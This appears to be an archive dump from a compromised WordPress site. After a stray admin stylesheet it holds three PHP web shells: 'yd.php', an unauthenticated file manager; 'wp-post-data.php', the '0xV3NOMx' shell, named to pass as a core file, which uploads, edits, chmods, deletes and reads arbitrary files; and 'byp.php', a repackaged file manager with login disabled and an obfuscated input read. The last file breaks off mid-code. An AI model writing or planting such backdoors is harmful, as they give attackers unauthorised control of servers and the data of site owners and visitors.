#postbox-container-4{float:left;width:200%;margin-left:-200%}.rtl #post-body.columns-8 #side3-sortables{margin-right:-280px;margin-left:320px}.rtl #post-body.columns-8 #side4-sortables{margin-left:600px;margin-right:20px}.rtl #post-body.columns-10{margin-left:1200px}.rtl #post-body.columns-10 #postbox-container-1{margin-left:-1200px}.rtl #post-body.columns-10 #postbox-container-2{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-10 #postbox-container-3{float:left;width:300px;margin-left:-900px}.rtl #post-body.columns-10 #postbox-container-4{float:left;width:300px;margin-left:-600px}.rtl #post-body.columns-10 #side3-sortables,.rtl #post-body.columns-10 #side4-sortables,.rtl #post-body.columns-10 #normal-sortables{margin-right:20px}.rtl #post-body.columns-11{margin-left:80%}.rtl #post-body.columns-11 #postbox-container-1{width:100%;margin-left:-400%}.rtl #post-body.columns-11 #postbox-container-2{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-11 #postbox-container-3{float:left;width:100%;margin-left:-300%}.rtl #post-body.columns-11 #postbox-container-4{float:left;width:100%;margin-left:-200%}.rtl #post-body.columns-11 #side3-sortables,.rtl #post-body.columns-11 #side4-sortables,.rtl #post-body.columns-11 #normal-sortables{margin-right:20px}}yd.php000064400000017571147510612050005705 0ustar00<?php
// Set directory root menjadi public_html
$root_dir = realpath(__DIR__);  // Ini mengatur root menjadi folder di mana file PHP ini disimpan
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;

// Periksa jika direktori yang diminta valid dan dapat diakses
if (!$current_dir || !is_dir($current_dir)) {
    $current_dir = $root_dir; // Jika direktori tidak valid, kembali ke root_dir
}

// Fungsi untuk menampilkan list file & folder, dengan folder di atas dan file di bawah
function listDirectory($dir)
{
    $files = scandir($dir);

    // Array untuk menyimpan folder dan file terpisah
    $directories = [];
    $regular_files = [];

    // Pisahkan folder dan file ke dalam array yang berbeda
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (is_dir($dir . '/' . $file)) {
                $directories[] = $file;  // Masukkan ke array folder
            } else {
                $regular_files[] = $file; // Masukkan ke array file biasa
            }
        }
    }

    // Tampilkan folder di atas
    foreach ($directories as $directory) {
        echo '<tr>';
        echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>';
        echo '<td>Folder</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a>
        </td>';
        echo '</tr>';
    }

    // Tampilkan file di bawah
    foreach ($regular_files as $file) {
        echo '<tr>';
        echo '<td>' . $file . '</td>';
        echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a>
        </td>';
        echo '</tr>';
    }
}

// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . '/' . $_GET['delete'];
    if (is_file($file_to_delete)) {
        unlink($file_to_delete);
    }
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk download file
if (isset($_GET['download'])) {
    $file_to_download = $current_dir . '/' . $_GET['download'];
    if (is_file($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Fungsi untuk rename file
if (isset($_POST['rename_file'])) {
    $old_name = $current_dir . '/' . $_POST['old_name'];
    $new_name = $current_dir . '/' . $_POST['new_name'];
    rename($old_name, $new_name);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk upload file
if (isset($_POST['upload'])) {
    $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk mengedit file
if (isset($_POST['save_file'])) {
    $file_to_edit = $current_dir . '/' . $_POST['file_name'];
    $new_content = $_POST['file_content'];
    file_put_contents($file_to_edit, $new_content);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk membuat file baru
if (isset($_POST['create_file'])) {
    $new_file_name = $_POST['new_file_name'];
    $new_file_path = $current_dir . '/' . $new_file_name;
    // Buat file baru dengan konten kosong
    file_put_contents($new_file_path, "");
    header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>TripleDNN</title>
    <style>
        /* Styling dengan tema gelap (latar belakang hitam dan teks terang) */
        body {
            background-color: #121212;
            color: #E0E0E0;
            font-family: Arial, sans-serif;
        }
        h2 {
            color: #BB86FC;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #333;
            color: #BB86FC;
        }
        tr:nth-child(even) {
            background-color: #222;
        }
        tr:nth-child(odd) {
            background-color: #121212;
        }
        a {
            color: #03DAC6;
            text-decoration: none;
        }
        a:hover {
            color: #BB86FC;
        }
        button {
            background-color: #03DAC6;
            color: #121212;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        button:hover {
            background-color: #BB86FC;
        }
        textarea {
            width: 100%;
            height: 400px;
            background-color: #222;
            color: #E0E0E0;
            border: 1px solid #BB86FC;
        }
        input[type="file"], input[type="text"] {
            color: #E0E0E0;
            background-color: #222;
            border: 1px solid #BB86FC;
            padding: 10px;
        }
        .form-container {
            display: flex;
            justify-content: space-between;
            margin-bottom: 20px;
        }
        .form-container form {
            margin-right: 10px;
        }
    </style>
</head>
<body>
    <p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p>
    
    <div class="form-container">
        <!-- Form untuk upload file -->
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <button type="submit" name="upload">Upload</button>
        </form>

        <!-- Form untuk membuat file baru -->
        <form method="post">
            <input type="text" name="new_file_name" placeholder="New file name" required>
            <button type="submit" name="create_file">Create File</button>
        </form>
    </div>

    <table border="1">
        <thead>
            <tr>
                <th>File Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php listDirectory($current_dir); ?>
        </tbody>
    </table>

    <!-- Form untuk rename file -->
    <?php if (isset($_GET['rename'])): ?>
    <form method="post">
        <input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>">
        <input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
        <button type="submit" name="rename_file">Rename</button>
    </form>
    <?php endif; ?>

    <!-- Form untuk mengedit file -->
    <?php
    if (isset($_GET['edit'])):
        $file_to_edit = $current_dir . '/' . $_GET['edit'];
        if (is_file($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            ?>
            <form method="post">
                <input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>">
                <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
                <br>
                <button type="submit" name="save_file">Save Changes</button>
            </form>
        <?php }
    endif; ?>
</body>
</html>wp-post-data.php000064400000020433147510612050007600 0ustar00<?php
@session_start();
@set_time_limit(0);

echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title>0xV3NOMx</title>
<style>
body{
font-family: monospace;
font-weight: bold;
font-size: 18px;
background-color: #c5c5c5;
color: #000;
}
#content tr:hover{
background-color: #ccc;
}
#content .first{
background-color: #ccc;
}
#content .first:hover{
background-color: #ccc;
}
table{
border: 3px #000 solid;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #00f;
}
input,select,textarea{
border: 1px #000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input {
 font-size: 18px;
 font-weight: bold;
 padding: 5px;
}
select {
font-size: 19px
}
textarea {
font-size: 10px
}
td, tr { padding: 2px 5px; }
</style>
</HEAD>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<font color="#FF0000"><center>'.php_uname().'</center></font><br>
<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : ' .$_SERVER["REMOTE_ADDR"]. '</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Success..</font><br />';
}else{
echo '<font color="red">Upload Gagal..</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td style='padding: 8px'>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Chmod Success..</font><br />';
}else{
echo '<font color="red">Chmod Gagal..</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Rename Berhasil..</font><br />';
}else{
echo '<font color="red">Rename Gagal..</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Berhasil..</font><br />';
}else{
echo '<font color="red">Edit File Gagal..</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=130 rows=10 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Directory Berhasil..</font><br />';
}else{
echo '<font color="red">Delete Directory Gagal..</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Berhasil..</font><br />';
}else{
echo '<font color="red">Delete File Gagal..</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="920" border="1.5px" cellpadding="5" cellspacing="0" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="Blue">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="Blue">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><hr width="920" color="black"/> <center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
byp.php000064400000560547147510612050006071 0ustar00<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'sympathizing');

$dauth = false;

$auth_users = array(
    'admin' => '788ddd8409045c7077c13c27129b2de0',
    'user' => '788ddd8409045c7077c13c27129b2de0'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

